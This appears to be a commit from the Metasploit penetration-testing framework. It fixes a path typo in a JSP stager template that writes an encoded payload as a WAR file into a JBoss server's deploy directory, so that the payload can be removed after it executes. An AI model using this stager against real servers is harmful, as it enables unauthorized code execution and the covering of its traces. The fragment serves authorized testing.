Fix a typo that was preventing WAR deletion

I made a typo while refactoring jboss_deploymentfilerepository. This
typo was preventing the WAR payload to be removed after its execution.

Author: Vincent Herbulot

lib/msf/http/jboss/deployment_file_repository_scripts.rb

@@ -56,7 +56,7 @@ def stager_jsp_with_payload(app_base, encoded_payload)
 %>
 <%
   String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
-  String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
+  String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
   try {
     String #{content_var} = "#{encoded_payload}";
     FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});